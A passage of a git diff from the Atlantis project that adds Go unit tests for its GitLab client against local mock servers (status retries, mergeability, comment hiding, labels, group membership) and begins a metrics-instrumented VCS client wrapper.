else { + getCommitResponse := GetCommitResponse{ + LastPipeline: GetCommitResponseLastPipeline{ + ID: gitlabPipelineSuccessMrID, + }, + } + getCommitJsonResponse, err := json.Marshal(getCommitResponse) + Ok(t, err) + + _, err = w.Write(getCommitJsonResponse) + Ok(t, err) + } + + case "/api/v4/": + // Rate limiter requests. + w.WriteHeader(http.StatusOK) + + default: + t.Errorf("got unexpected request at %q", r.RequestURI) + http.Error(w, "not found", http.StatusNotFound) + } + })) + + internalClient, err := gitlab.NewClient("token", gitlab.WithBaseURL(testServer.URL)) + Ok(t, err) + + client := &GitlabClient{ + Client: internalClient, + Version: nil, + PollingInterval: 10 * time.Millisecond, + } + + repo := models.Repo{ + FullName: "runatlantis/atlantis", + Owner: "runatlantis", + Name: "atlantis", + } + + err = client.UpdateStatus( + logger, + repo, + models.PullRequest{ + Num: 1, + BaseRepo: repo, + HeadCommit: "sha", + HeadBranch: updateStatusHeadBranch, + }, + c.status, + updateStatusSrc, + updateStatusDescription, + updateStatusTargetUrl, + ) + Ok(t, err) + + Assert(t, c.expNumberOfRequests == handledNumberOfRequests, + fmt.Sprintf("expected %d number of requests, but processed %d", c.expNumberOfRequests, handledNumberOfRequests)) + }) + } +} + +func TestGitlabClient_UpdateStatusSetCommitStatusConflictRetryable(t *testing.T) { + logger := logging.NewNoopLogger(t) + + cases := []struct { + status models.CommitStatus + numberOfConflicts int + expNumberOfRequests int + expState string + expError bool + }{ + // Ensure that 0 x 409 Conflict succeeds + { + status: models.PendingCommitStatus, + numberOfConflicts: 0, + expNumberOfRequests: 1, + expState: "running", + }, + // Ensure that 5 x 409 Conflict still succeeds + { + status: models.PendingCommitStatus, + numberOfConflicts: 5, + expNumberOfRequests: 6, + expState: "running", + }, + // Ensure that 10 x 409 Conflict still fail due to running out of retries + { + status: models.FailedCommitStatus, + numberOfConflicts: 100, // anything larger than 10 is fine + expNumberOfRequests: 10, + expState: "failed", + expError: true, + }, + } + for _, c := range cases { + t.Run(c.expState, func(t *testing.T) { + handledNumberOfRequests := 0 + + testServer := httptest.NewServer( + http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + switch r.RequestURI { + case "/api/v4/projects/runatlantis%2Fatlantis/statuses/sha": + handledNumberOfRequests++ + shouldSendConflict := handledNumberOfRequests <= c.numberOfConflicts + + var updateStatusJsonBody UpdateStatusJsonBody + err := json.NewDecoder(r.Body).Decode(&updateStatusJsonBody) + Ok(t, err) + + Equals(t, c.expState, updateStatusJsonBody.State) + Equals(t, updateStatusSrc, updateStatusJsonBody.Context) + Equals(t, updateStatusTargetUrl, updateStatusJsonBody.TargetUrl) + Equals(t, updateStatusDescription, updateStatusJsonBody.Description) + + defer r.Body.Close() // nolint: errcheck + + if shouldSendConflict { + w.WriteHeader(http.StatusConflict) + } + + getCommitJsonResponse, err := json.Marshal(EmptyStruct{}) + Ok(t, err) + + _, err = w.Write(getCommitJsonResponse) + Ok(t, err) + + case "/api/v4/projects/runatlantis%2Fatlantis/repository/commits/sha": + w.WriteHeader(http.StatusOK) + + getCommitResponse := GetCommitResponse{ + LastPipeline: GetCommitResponseLastPipeline{ + ID: gitlabPipelineSuccessMrID, + }, + } + getCommitJsonResponse, err := json.Marshal(getCommitResponse) + Ok(t, err) + + _, err = w.Write(getCommitJsonResponse) + Ok(t, err) + + case "/api/v4/": + // Rate limiter requests. + w.WriteHeader(http.StatusOK) + + default: + t.Errorf("got unexpected request at %q", r.RequestURI) + http.Error(w, "not found", http.StatusNotFound) + } + })) + + internalClient, err := gitlab.NewClient("token", gitlab.WithBaseURL(testServer.URL)) + Ok(t, err) + client := &GitlabClient{ + Client: internalClient, + Version: nil, + PollingInterval: 10 * time.Millisecond, + } + + repo := models.Repo{ + FullName: "runatlantis/atlantis", + Owner: "runatlantis", + Name: "atlantis", + } + err = client.UpdateStatus( + logger, + repo, + models.PullRequest{ + Num: 1, + BaseRepo: repo, + HeadCommit: "sha", + HeadBranch: "test", + }, + c.status, + updateStatusSrc, + updateStatusDescription, + updateStatusTargetUrl, + ) + + if c.expError { + ErrContains(t, "failed to update commit status for 'runatlantis/atlantis' @ 'sha' to 'src' after 10 attempts", err) + ErrContains(t, "409", err) + } else { + Ok(t, err) + } + + Assert(t, c.expNumberOfRequests == handledNumberOfRequests, + fmt.Sprintf("expected %d number of requests, but processed %d", c.expNumberOfRequests, handledNumberOfRequests)) + }) + } +} + +func TestGitlabClient_PullIsMergeable(t *testing.T) { + logger := logging.NewNoopLogger(t) + gitlabClientUnderTest = true + gitlabVersionOver15_6 := "15.8.3-ee" + gitlabVersion15_6 := "15.6.0-ee" + gitlabVersionUnder15_6 := "15.3.2-ce" + gitlabServerVersions := []string{gitlabVersionOver15_6, gitlabVersion15_6, gitlabVersionUnder15_6} + vcsStatusName := "atlantis-test" + defaultMr := 1 + noHeadPipelineMR := 2 + ciMustPassSuccessMR := 3 + ciMustPassFailureMR := 4 + needRebaseMR := 5 + + pipelineSuccess, err := os.ReadFile("testdata/gitlab-pipeline-success.json") + Ok(t, err) + + projectSuccess, err := os.ReadFile("testdata/gitlab-project-success.json") + Ok(t, err) + + detailedMergeStatusCiMustPass, err := os.ReadFile("testdata/gitlab-detailed-merge-status-ci-must-pass.json") + Ok(t, err) + + detailedMergeStatusNeedRebase, err := os.ReadFile("testdata/gitlab-detailed-merge-status-need-rebase.json") + Ok(t, err) + + headPipelineNotAvailable, err := os.ReadFile("testdata/gitlab-head-pipeline-not-available.json") + Ok(t, err) + + cases := []struct { + statusName string + status models.CommitStatus + gitlabVersion []string + mrID int + expState bool + }{ + { + fmt.Sprintf("%s/apply: resource/default", vcsStatusName), + models.FailedCommitStatus, + gitlabServerVersions, + defaultMr, + true, + }, + { + fmt.Sprintf("%s/apply", vcsStatusName), + models.FailedCommitStatus, + gitlabServerVersions, + defaultMr, + true, + }, + { + fmt.Sprintf("%s/plan: resource/default", vcsStatusName), + models.FailedCommitStatus, + gitlabServerVersions, + defaultMr, + false, + }, + { + fmt.Sprintf("%s/plan", vcsStatusName), + models.PendingCommitStatus, + gitlabServerVersions, + defaultMr, + false, + }, + { + fmt.Sprintf("%s/plan", vcsStatusName), + models.SuccessCommitStatus, + gitlabServerVersions, + defaultMr, + true, + }, + { + fmt.Sprintf("%s/apply", vcsStatusName), + models.FailedCommitStatus, + gitlabServerVersions, + ciMustPassSuccessMR, + true, + }, + { + fmt.Sprintf("%s/plan", vcsStatusName), + models.FailedCommitStatus, + gitlabServerVersions, + ciMustPassFailureMR, + false, + }, + { + fmt.Sprintf("%s/apply", vcsStatusName), + models.FailedCommitStatus, + gitlabServerVersions, + needRebaseMR, + true, + }, + { + fmt.Sprintf("%s/apply: resource/default", vcsStatusName), + models.FailedCommitStatus, + gitlabServerVersions, + noHeadPipelineMR, + true, + }, + { + fmt.Sprintf("%s/apply", vcsStatusName), + models.FailedCommitStatus, + gitlabServerVersions, + noHeadPipelineMR, + true, + }, + { + fmt.Sprintf("%s/plan: resource/default", vcsStatusName), + models.FailedCommitStatus, + gitlabServerVersions, + noHeadPipelineMR, + false, + }, + { + fmt.Sprintf("%s/plan", vcsStatusName), + models.PendingCommitStatus, + gitlabServerVersions, + noHeadPipelineMR, + false, + }, + { + fmt.Sprintf("%s/plan", vcsStatusName), + models.FailedCommitStatus, + gitlabServerVersions, + noHeadPipelineMR, + false, + }, + { + fmt.Sprintf("%s/plan", vcsStatusName), + models.SuccessCommitStatus, + gitlabServerVersions, + noHeadPipelineMR, + true, + }, + } + for _, serverVersion := range gitlabServerVersions { + for _, c := range cases { + t.Run(c.statusName, func(t *testing.T) { + testServer := httptest.NewServer( + http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + switch r.RequestURI { + case "/api/v4/": + // Rate limiter requests. + w.WriteHeader(http.StatusOK) + case fmt.Sprintf("/api/v4/projects/runatlantis%%2Fatlantis/merge_requests/%v", defaultMr): + w.WriteHeader(http.StatusOK) + w.Write(pipelineSuccess) // nolint: errcheck + case fmt.Sprintf("/api/v4/projects/runatlantis%%2Fatlantis/merge_requests/%v", noHeadPipelineMR): + w.WriteHeader(http.StatusOK) + w.Write(headPipelineNotAvailable) // nolint: errcheck + case fmt.Sprintf("/api/v4/projects/runatlantis%%2Fatlantis/merge_requests/%v", ciMustPassSuccessMR): + w.WriteHeader(http.StatusOK) + w.Write(detailedMergeStatusCiMustPass) // nolint: errcheck + case fmt.Sprintf("/api/v4/projects/runatlantis%%2Fatlantis/merge_requests/%v", ciMustPassFailureMR): + w.WriteHeader(http.StatusOK) + w.Write(detailedMergeStatusCiMustPass) // nolint: errcheck + case fmt.Sprintf("/api/v4/projects/runatlantis%%2Fatlantis/merge_requests/%v", needRebaseMR): + w.WriteHeader(http.StatusOK) + w.Write(detailedMergeStatusNeedRebase) // nolint: errcheck + case fmt.Sprintf("/api/v4/projects/%v", projectID): + w.WriteHeader(http.StatusOK) + w.Write(projectSuccess) // nolint: errcheck + case fmt.Sprintf("/api/v4/projects/%v/repository/commits/67cb91d3f6198189f433c045154a885784ba6977/statuses", projectID): + w.WriteHeader(http.StatusOK) + response := fmt.Sprintf(`[{"id":133702594,"sha":"67cb91d3f6198189f433c045154a885784ba6977","ref":"patch-1","status":"%s","name":"%s","target_url":null,"description":"ApplySuccess","created_at":"2018-12-12T18:31:57.957Z","started_at":null,"finished_at":"2018-12-12T18:31:58.480Z","allow_failure":false,"coverage":null,"author":{"id":1755902,"username":"lkysow","name":"LukeKysow","state":"active","avatar_url":"https://secure.gravatar.com/avatar/25fd57e71590fe28736624ff24d41c5f?s=80&d=identicon","web_url":"https://gitlab.com/lkysow"}}]`, c.status, c.statusName) + w.Write([]byte(response)) // nolint: errcheck + case "/api/v4/version": + w.WriteHeader(http.StatusOK) + w.Header().Set("Content-Type", "application/json") + type version struct { + Version string + } + v := version{Version: serverVersion} + err := json.NewEncoder(w).Encode(v) + Ok(t, err) + default: + t.Errorf("got unexpected request at %q", r.RequestURI) + http.Error(w, "not found", http.StatusNotFound) + } + })) + + internalClient, err := gitlab.NewClient("token", gitlab.WithBaseURL(testServer.URL)) + Ok(t, err) + client := &GitlabClient{ + Client: internalClient, + Version: nil, + } + + repo := models.Repo{ + FullName: "runatlantis/atlantis", + Owner: "runatlantis", + Name: "atlantis", + VCSHost: models.VCSHost{ + Type: models.Gitlab, + Hostname: "gitlab.com", + }, + } + + mergeable, err := client.PullIsMergeable( + logger, + repo, + models.PullRequest{ + Num: c.mrID, + BaseRepo: repo, + HeadCommit: "67cb91d3f6198189f433c045154a885784ba6977", + }, vcsStatusName, []string{}) + + Ok(t, err) + Equals(t, c.expState, mergeable) + }) + } + } +} + func TestGitlabClient_MarkdownPullLink(t *testing.T) { + logger := logging.NewNoopLogger(t) gitlabClientUnderTest = true defer func() { gitlabClientUnderTest = false }() - client, err := NewGitlabClient("gitlab.com", "token", nil) + client, err := NewGitlabClient("gitlab.com", "token", []string{}, logger) Ok(t, err) pull := models.PullRequest{Num: 1} s, _ := client.MarkdownPullLink(pull) @@ -249,4 +895,365 @@ func TestGitlabClient_MarkdownPullLink(t *testing.T) { Equals(t, exp, s) } -var mergeSuccess = `{"id":22461274,"iid":13,"project_id":4580910,"title":"Update main.tf","description":"","state":"merged","created_at":"2019-01-15T18:27:29.375Z","updated_at":"2019-01-25T17:28:01.437Z","merged_by":{"id":1755902,"name":"Luke Kysow","username":"lkysow","state":"active","avatar_url":"https://secure.gravatar.com/avatar/25fd57e71590fe28736624ff24d41c5f?s=80\u0026d=identicon","web_url":"https://gitlab.com/lkysow"},"merged_at":"2019-01-25T17:28:01.459Z","closed_by":null,"closed_at":null,"target_branch":"patch-1","source_branch":"patch-1-merger","upvotes":0,"downvotes":0,"author":{"id":1755902,"name":"Luke Kysow","username":"lkysow","state":"active","avatar_url":"https://secure.gravatar.com/avatar/25fd57e71590fe28736624ff24d41c5f?s=80\u0026d=identicon","web_url":"https://gitlab.com/lkysow"},"assignee":null,"source_project_id":4580910,"target_project_id":4580910,"labels":[],"work_in_progress":false,"milestone":null,"merge_when_pipeline_succeeds":false,"merge_status":"can_be_merged","sha":"cb86d70f464632bdfbe1bb9bc0f2f9d847a774a0","merge_commit_sha":"c9b336f1c71d3e64810b8cfa2abcfab232d6bff6","user_notes_count":0,"discussion_locked":null,"should_remove_source_branch":null,"force_remove_source_branch":false,"web_url":"https://gitlab.com/lkysow/atlantis-example/merge_requests/13","time_stats":{"time_estimate":0,"total_time_spent":0,"human_time_estimate":null,"human_total_time_spent":null},"squash":false,"subscribed":true,"changes_count":"1","latest_build_started_at":null,"latest_build_finished_at":null,"first_deployed_to_production_at":null,"pipeline":null,"diff_refs":{"base_sha":"67cb91d3f6198189f433c045154a885784ba6977","head_sha":"cb86d70f464632bdfbe1bb9bc0f2f9d847a774a0","start_sha":"67cb91d3f6198189f433c045154a885784ba6977"},"merge_error":null,"approvals_before_merge":null}` +func TestGitlabClient_HideOldComments(t *testing.T) { + logger := logging.NewNoopLogger(t) + type notePutCallDetails struct { + noteID string + comment []string + } + type jsonBody struct { + Body string + } + + authorID := 1 + authorUserName := "pipin" + authorEmail := "admin@example.com" + pullNum := 123 + + userCommentIDs := [1]string{"1"} + planCommentIDs := [2]string{"3", "5"} + systemCommentIDs := [1]string{"4"} + summaryCommentIDs := [1]string{"2"} + planComments := [3]string{"Ran Plan for 2 projects:", "Ran Plan for dir: `stack1` workspace: `default`", "Ran Plan for 2 projects:"} + summaryHeader := fmt.Sprintf("
Superseded Atlantis %s", + command.Plan.TitleString()) + summaryFooter := "
" + lineFeed := "\\n" + + issueResp := "[" + + fmt.Sprintf(`{"id":%s,"body":"User comment","author":{"id": %d, "username":"%s", "email":"%s"},"system": false,"project_id": %d}`, + userCommentIDs[0], authorID, authorUserName, authorEmail, pullNum) + "," + + fmt.Sprintf(`{"id":%s,"body":"%s","author":{"id": %d, "username":"%s", "email":"%s"},"system": false,"project_id": %d}`, + summaryCommentIDs[0], summaryHeader+lineFeed+planComments[2]+lineFeed+summaryFooter, authorID, authorUserName, authorEmail, pullNum) + "," + + fmt.Sprintf(`{"id":%s,"body":"%s","author":{"id": %d, "username":"%s", "email":"%s"},"system": false,"project_id": %d}`, + planCommentIDs[0], planComments[0], authorID, authorUserName, authorEmail, pullNum) + "," + + fmt.Sprintf(`{"id":%s,"body":"System comment","author":{"id": %d, "username":"%s", "email":"%s"},"system": true,"project_id": %d}`, + systemCommentIDs[0], authorID, authorUserName, authorEmail, pullNum) + "," + + fmt.Sprintf(`{"id":%s,"body":"%s","author":{"id": %d, "username":"%s", "email":"%s"},"system": false,"project_id": %d}`, + planCommentIDs[1], planComments[1], authorID, authorUserName, authorEmail, pullNum) + + "]" + + repo := models.Repo{ + FullName: "runatlantis/atlantis", + Owner: "runatlantis", + Name: "atlantis", + VCSHost: models.VCSHost{ + Type: models.Gitlab, + Hostname: "gitlab.com", + }, + } + + cases := []struct { + dir string + processedComments int + processedCommentIds []string + processedPlanComment []string + }{ + { + "", + 2, + []string{planCommentIDs[0], planCommentIDs[1]}, + []string{planComments[0], planComments[1]}, + }, + { + "stack1", + 1, + []string{planCommentIDs[1]}, + []string{planComments[1]}, + }, + { + "stack2", + 0, + []string{}, + []string{}, + }, + } + + for _, c := range cases { + t.Run(c.dir, func(t *testing.T) { + gitlabClientUnderTest = true + defer func() { gitlabClientUnderTest = false }() + gotNotePutCalls := make([]notePutCallDetails, 0, 1) + testServer := httptest.NewServer( + http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + switch r.Method { + case "GET": + switch r.RequestURI { + case "/api/v4/user": + w.WriteHeader(http.StatusOK) + w.Header().Set("Content-Type", "application/json") + response := fmt.Sprintf(`{"id": %d,"username": "%s", "email": "%s"}`, authorID, authorUserName, authorEmail) + w.Write([]byte(response)) // nolint: errcheck + case fmt.Sprintf("/api/v4/projects/runatlantis%%2Fatlantis/merge_requests/%d/notes?order_by=created_at&sort=asc", pullNum): + w.WriteHeader(http.StatusOK) + response := issueResp + w.Write([]byte(response)) // nolint: errcheck + default: + t.Errorf("got unexpected request at %q", r.RequestURI) + http.Error(w, "not found", http.StatusNotFound) + } + case "PUT": + switch { + case strings.HasPrefix(r.RequestURI, fmt.Sprintf("/api/v4/projects/runatlantis%%2Fatlantis/merge_requests/%d/notes/", pullNum)): + w.WriteHeader(http.StatusOK) + var body jsonBody + json.NewDecoder(r.Body).Decode(&body) // nolint: errcheck + notePutCallDetail := notePutCallDetails{ + noteID: path.Base(r.RequestURI), + comment: strings.Split(body.Body, "\n"), + } + gotNotePutCalls = append(gotNotePutCalls, notePutCallDetail) + response := "{}" + w.Write([]byte(response)) // nolint: errcheck + default: + t.Errorf("got unexpected request at %q", r.RequestURI) + http.Error(w, "not found", http.StatusNotFound) + } + default: + t.Errorf("got unexpected method at %q", r.Method) + http.Error(w, "not found", http.StatusNotFound) + } + }), + ) + + internalClient, err := gitlab.NewClient("token", gitlab.WithBaseURL(testServer.URL)) + Ok(t, err) + client := &GitlabClient{ + Client: internalClient, + Version: nil, + } + + err = client.HidePrevCommandComments(logger, repo, pullNum, command.Plan.TitleString(), c.dir) + Ok(t, err) + + // Check the correct number of plan comments have been processed + Equals(t, c.processedComments, len(gotNotePutCalls)) + // Check the correct comments have been processed + for i := 0; i < c.processedComments; i++ { + Equals(t, c.processedCommentIds[i], gotNotePutCalls[i].noteID) + Equals(t, summaryHeader, gotNotePutCalls[i].comment[0]) + Equals(t, c.processedPlanComment[i], gotNotePutCalls[i].comment[1]) + Equals(t, summaryFooter, gotNotePutCalls[i].comment[2]) + } + }) + } +} + +func TestGitlabClient_GetPullLabels(t *testing.T) { + logger := logging.NewNoopLogger(t) + mergeSuccessWithLabel, err := os.ReadFile("testdata/gitlab-merge-success-with-label.json") + Ok(t, err) + + testServer := httptest.NewServer( + http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + switch r.RequestURI { + case "/api/v4/projects/runatlantis%2Fatlantis/merge_requests/1": + w.WriteHeader(http.StatusOK) + w.Write(mergeSuccessWithLabel) // nolint: errcheck + default: + t.Errorf("got unexpected request at %q", r.RequestURI) + http.Error(w, "not found", http.StatusNotFound) + } + })) + + internalClient, err := gitlab.NewClient("token", gitlab.WithBaseURL(testServer.URL)) + Ok(t, err) + client := &GitlabClient{ + Client: internalClient, + Version: nil, + } + + labels, err := client.GetPullLabels( + logger, + models.Repo{ + FullName: "runatlantis/atlantis", + }, + models.PullRequest{ + Num: 1, + }, + ) + Ok(t, err) + Equals(t, []string{"work in progress"}, labels) +} + +func TestGitlabClient_GetPullLabels_EmptyResponse(t *testing.T) { + logger := logging.NewNoopLogger(t) + pipelineSuccess, err := os.ReadFile("testdata/gitlab-pipeline-success.json") + Ok(t, err) + + testServer := httptest.NewServer( + http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + switch r.RequestURI { + case "/api/v4/projects/runatlantis%2Fatlantis/merge_requests/1": + w.WriteHeader(http.StatusOK) + w.Write(pipelineSuccess) // nolint: errcheck + default: + t.Errorf("got unexpected request at %q", r.RequestURI) + http.Error(w, "not found", http.StatusNotFound) + } + })) + + internalClient, err := gitlab.NewClient("token", gitlab.WithBaseURL(testServer.URL)) + Ok(t, err) + client := &GitlabClient{ + Client: internalClient, + Version: nil, + } + + labels, err := client.GetPullLabels( + logger, + models.Repo{ + FullName: "runatlantis/atlantis", + }, models.PullRequest{ + Num: 1, + }) + Ok(t, err) + Equals(t, 0, len(labels)) +} + +// GetTeamNamesForUser returns the names of the GitLab groups that the user belongs to. +func TestGitlabClient_GetTeamNamesForUser(t *testing.T) { + logger := logging.NewNoopLogger(t) + + groupMembershipSuccess, err := os.ReadFile("testdata/gitlab-group-membership-success.json") + Ok(t, err) + + userSuccess, err := os.ReadFile("testdata/gitlab-user-success.json") + Ok(t, err) + + userEmpty, err := os.ReadFile("testdata/gitlab-user-none.json") + Ok(t, err) + + multipleUsers, err := os.ReadFile("testdata/gitlab-user-multiple.json") + Ok(t, err) + + configuredGroups := []string{"someorg/group1", "someorg/group2", "someorg/group3", "someorg/group4"} + + cases := []struct { + userName string + expErr string + expTeams []string + }{ + { + userName: "testuser", + expTeams: []string{"someorg/group1", "someorg/group2"}, + }, + { + userName: "none", + expErr: "GET /users returned no user", + }, + { + userName: "multiuser", + expErr: "GET /users returned more than 1 user", + }, + } + for _, c := range cases { + t.Run(c.userName, func(t *testing.T) { + + testServer := httptest.NewServer( + http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + switch r.RequestURI { + case "/api/v4/users?username=testuser": + w.WriteHeader(http.StatusOK) + w.Write(userSuccess) // nolint: errcheck + case "/api/v4/users?username=none": + w.WriteHeader(http.StatusOK) + w.Write(userEmpty) // nolint: errcheck + case "/api/v4/users?username=multiuser": + w.WriteHeader(http.StatusOK) + w.Write(multipleUsers) // nolint: errcheck + case "/api/v4/groups/someorg%2Fgroup1/members/123", "/api/v4/groups/someorg%2Fgroup2/members/123": + w.WriteHeader(http.StatusOK) + w.Write(groupMembershipSuccess) // nolint: errcheck + case "/api/v4/groups/someorg%2Fgroup3/members/123": + http.Error(w, "forbidden", http.StatusForbidden) + case "/api/v4/groups/someorg%2Fgroup4/members/123": + http.Error(w, "not found", http.StatusNotFound) + default: + t.Errorf("got unexpected request at %q", r.RequestURI) + http.Error(w, "not found", http.StatusNotFound) + } + })) + internalClient, err := gitlab.NewClient("token", gitlab.WithBaseURL(testServer.URL)) + Ok(t, err) + client := &GitlabClient{ + Client: internalClient, + Version: nil, + ConfiguredGroups: configuredGroups, + } + + teams, err := client.GetTeamNamesForUser( + logger, + models.Repo{ + Owner: "someorg", + }, models.User{ + Username: c.userName, + }) + if c.expErr == "" { + Ok(t, err) + Equals(t, c.expTeams, teams) + } else { + ErrContains(t, c.expErr, err) + + } + + }) + } +} + +func TestGithubClient_DiscardReviews(t *testing.T) { + logger := logging.NewNoopLogger(t) + cases := []struct { + description string + repoFullName string + pullReqeustId int + wantErr bool + }{ + { + "success", + "runatlantis/atlantis", + 42, + false, + }, + { + "error", + "runatlantis/atlantis", + 32, + true, + }, + } + for _, c := range cases { + t.Run(c.description, func(t *testing.T) { + testServer := httptest.NewServer( + http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + switch r.RequestURI { + case "/api/v4/projects/runatlantis%2Fatlantis/merge_requests/42/reset_approvals": + w.WriteHeader(http.StatusOK) + case "/api/v4/projects/runatlantis%2Fatlantis/merge_requests/32/reset_approvals": + http.Error(w, "No bot token", http.StatusUnauthorized) + default: + t.Errorf("got unexpected request at %q", r.RequestURI) + http.Error(w, "not found", http.StatusNotFound) + } + })) + internalClient, err := gitlab.NewClient("token", gitlab.WithBaseURL(testServer.URL)) + Ok(t, err) + client := &GitlabClient{ + Client: internalClient, + Version: nil, + } + + repo := models.Repo{ + FullName: c.repoFullName, + } + + pr := models.PullRequest{ + Num: c.pullReqeustId, + } + + if err := client.DiscardReviews(logger, repo, pr); (err != nil) != c.wantErr { + t.Errorf("DiscardReviews() error = %v", err) + } + }) + } +} diff --git a/server/events/vcs/instrumented_client.go b/server/events/vcs/instrumented_client.go new file mode 100644 index 0000000000..1fd7b8e43c --- /dev/null +++ b/server/events/vcs/instrumented_client.go @@ -0,0 +1,259 @@ +package vcs + +import ( + "strconv" + + "github.com/google/go-github/v71/github" + "github.com/runatlantis/atlantis/server/events/models" + "github.com/runatlantis/atlantis/server/logging" + "github.com/runatlantis/atlantis/server/metrics" + tally "github.com/uber-go/tally/v4" +) + +// NewInstrumentedGithubClient creates a client proxy responsible for gathering stats and logging +func NewInstrumentedGithubClient(client *GithubClient, statsScope tally.Scope, logger logging.SimpleLogging) IGithubClient { + scope := statsScope.SubScope("github") + + instrumentedGHClient := &InstrumentedClient{ + Client: client, + StatsScope: scope, + Logger: logger, + } + + return &InstrumentedGithubClient{ + InstrumentedClient: instrumentedGHClient, + PullRequestGetter: client, + StatsScope: scope, + Logger: logger, + } +} + +//go:generate pegomock generate --package mocks -o mocks/mock_github_pull_request_getter.go GithubPullRequestGetter + +type GithubPullRequestGetter interface { + GetPullRequest(logger logging.SimpleLogging, repo models.Repo, pullNum int) (*github.PullRequest, error) +} + +// IGithubClient exists to bridge the gap between GithubPullRequestGetter and Client interface to allow +// for a single instrumented client +type IGithubClient interface { + Client + GithubPullRequestGetter +} + +// InstrumentedGithubClient should delegate to the underlying InstrumentedClient for vcs provider-agnostic +// methods and implement solely any github specific interfaces. +type InstrumentedGithubClient struct { + *InstrumentedClient + PullRequestGetter GithubPullRequestGetter + StatsScope tally.Scope + Logger logging.SimpleLogging +} + +func (c *InstrumentedGithubClient) GetPullRequest(logger logging.SimpleLogging, repo models.Repo, pullNum int) (*github.PullRequest, error) { + scope := c.StatsScope.SubScope("get_pull_request") + scope = SetGitScopeTags(scope, repo.FullName, pullNum) + + executionTime := scope.Timer(metrics.ExecutionTimeMetric).Start() + defer executionTime.Stop() + + executionSuccess := scope.Counter(metrics.ExecutionSuccessMetric) + executionError := scope.Counter(metrics.ExecutionErrorMetric) + + pull, err := c.PullRequestGetter.GetPullRequest(logger, repo, pullNum) + + if err != nil { + executionError.Inc(1) + logger.Err("Unable to get pull number for repo, error: %s", err.Error()) + } else { + executionSuccess.Inc(1) + } + + return pull, err + +} + +type InstrumentedClient struct { + Client + StatsScope tally.Scope + Logger logging.SimpleLogging +} + +func (c *InstrumentedClient) GetModifiedFiles(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest) ([]string, error) { + scope := c.StatsScope.SubScope("get_modified_files") + scope = SetGitScopeTags(scope, repo.FullName, pull.Num) + + executionTime := scope.Timer(metrics.ExecutionTimeMetric).Start() + defer executionTime.Stop() + + executionSuccess := scope.Counter(metrics.ExecutionSuccessMetric) + executionError := scope.Counter(metrics.ExecutionErrorMetric) + + files, err := c.Client.GetModifiedFiles(logger, repo, pull) + + if err != nil { + executionError.Inc(1) + logger.Err("Unable to get modified files, error: %s", err.Error()) + } else { + executionSuccess.Inc(1) + } + + return files, err +} + +func (c *InstrumentedClient) CreateComment(logger logging.SimpleLogging, repo models.Repo, pullNum int, comment string, command string) error { + scope := c.StatsScope.SubScope("create_comment") + scope = SetGitScopeTags(scope, repo.FullName, pullNum) + + executionTime := scope.Timer(metrics.ExecutionTimeMetric).Start() + defer executionTime.Stop() + + executionSuccess := scope.Counter(metrics.ExecutionSuccessMetric) + executionError := scope.Counter(metrics.ExecutionErrorMetric) + + if err := c.Client.CreateComment(logger, repo, pullNum, comment, command); err != nil { + executionError.Inc(1) + logger.Err("Unable to create comment for command %s, error: %s", command, err.Error()) + return err + } + + executionSuccess.Inc(1) + return nil +} + +func (c *InstrumentedClient) ReactToComment(logger logging.SimpleLogging, repo models.Repo, pullNum int, commentID int64, reaction string) error { + scope := c.StatsScope.SubScope("react_to_comment") + + executionTime := scope.Timer(metrics.ExecutionTimeMetric).Start() + defer executionTime.Stop() + + executionSuccess := scope.Counter(metrics.ExecutionSuccessMetric) + executionError := scope.Counter(metrics.ExecutionErrorMetric) + + if err := c.Client.ReactToComment(logger, repo, pullNum, commentID, reaction); err != nil { + executionError.Inc(1) + logger.Err("Unable to react to comment, error: %s", err.Error()) + return err + } + + executionSuccess.Inc(1) + return nil +} + +func (c *InstrumentedClient) HidePrevCommandComments(logger logging.SimpleLogging, repo models.Repo, pullNum int, command string, dir string) error { + scope := c.StatsScope.SubScope("hide_prev_plan_comments") + scope = SetGitScopeTags(scope, repo.FullName, pullNum) + + executionTime := scope.Timer(metrics.ExecutionTimeMetric).Start() + defer executionTime.Stop() + + executionSuccess := scope.Counter(metrics.ExecutionSuccessMetric) + executionError := scope.Counter(metrics.ExecutionErrorMetric) + + if err := c.Client.HidePrevCommandComments(logger, repo, pullNum, command, dir); err != nil { + executionError.Inc(1) + logger.Err("Unable to hide previous %s comments, error: %s", command, err.Error()) + return err + } + + executionSuccess.Inc(1) + return nil + +} + +func (c *InstrumentedClient) PullIsApproved(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest) (models.ApprovalStatus, error) { + scope := c.StatsScope.SubScope("pull_is_approved") + scope = SetGitScopeTags(scope, repo.FullName, pull.Num) + + executionTime := scope.Timer(metrics.ExecutionTimeMetric).Start() + defer executionTime.Stop() + + executionSuccess := scope.Counter(metrics.ExecutionSuccessMetric) + executionError := scope.Counter(metrics.ExecutionErrorMetric) + + approved, err := c.Client.PullIsApproved(logger, repo, pull) + + if err != nil { + executionError.Inc(1) + logger.Err("Unable to check pull approval status, error: %s", err.Error()) + } else { + executionSuccess.Inc(1) + } + + return approved, err +} + +func (c *InstrumentedClient) PullIsMergeable(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest, vcsstatusname string, ignoreVCSStatusNames []string) (bool, error) { + scope := c.StatsScope.SubScope("pull_is_mergeable") + scope = SetGitScopeTags(scope, repo.FullName, pull.Num) + + executionTime := scope.Timer(metrics.ExecutionTimeMetric).Start() + defer executionTime.Stop() + + executionSuccess := scope.Counter(metrics.ExecutionSuccessMetric) + executionError := scope.Counter(metrics.ExecutionErrorMetric) + + mergeable, err := c.Client.PullIsMergeable(logger, repo, pull, vcsstatusname, ignoreVCSStatusNames) + + if err != nil { + executionError.Inc(1) + logger.Err("Unable to check pull mergeable status, error: %s", err.Error()) + } else { + executionSuccess.Inc(1) + } + + return mergeable, err +} + +func (c *InstrumentedClient) UpdateStatus(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest, state models.CommitStatus, src string, description string, url string) error { + // If the plan isn't coming from a pull request, + // don't attempt to update the status. + if pull.Num == 0 { + return nil + } + + scope := c.StatsScope.SubScope("update_status") + scope = SetGitScopeTags(scope, repo.FullName, pull.Num) + + executionTime := scope.Timer(metrics.ExecutionTimeMetric).Start() + defer 